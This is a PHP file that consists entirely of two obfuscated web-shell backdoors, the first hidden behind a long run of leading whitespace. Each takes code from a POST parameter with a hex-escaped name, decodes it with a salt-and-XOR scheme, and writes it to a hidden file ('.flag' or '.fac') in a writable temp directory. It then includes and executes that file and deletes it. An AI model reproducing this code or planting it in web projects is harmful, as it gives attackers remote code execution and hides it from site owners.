<?php																																										if(count($_POST) > 0 && isset($_POST["\x66l\x67"])){ $key = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp"]); $ent = $_POST["\x66l\x67"]; $ent =explode ( "." ,$ent ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $q = 0; array_walk( $ent, function( $v6) use( &$record, &$q, $salt, $sLen) {$sChar = ord( $salt[$q% $sLen]); $d = ( ( int)$v6 - $sChar -( $q% 10)) ^17; $record .= chr( $d); $q++; }); foreach ($key as $ref) { if (!!is_dir($ref) && !!is_writable($ref)) { $resource = implode("/", [$ref, ".flag"]); if (file_put_contents($resource, $record)) { require $resource; unlink($resource); die(); } } } }


if(filter_has_var(INPUT_POST, "\x68\x6Cd")){
	$symbol = array_filter([session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp"]);
	$obj = $_POST["\x68\x6Cd"];
	 	 $obj =	explode('.' ,  	$obj 	)		; 		
	$data 	= 	'';
            $s 	= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen 	= 	strlen(		$s 	);
            $t 	= 	0;
    
            while(		$t	<count(		$obj)) {		$v6 	= 	$obj[$t];
                $chS 	= 	ord(		$s[$t % $sLen] 	);
                $dec 	= 	(		(		int)$v6 - $chS -(		$t % 10)) ^ 2;
                $data .= chr(		$dec 	);
                $t++; }	
	foreach ($symbol as $object):
    		if (max(0, is_dir($object) * is_writable($object))) {
    $factor = implode("/", [$object, ".fac"]);
    $success = file_put_contents($factor, $data);
if ($success) {
	include $factor;
	@unlink($factor);
	exit;}
}
endforeach;
}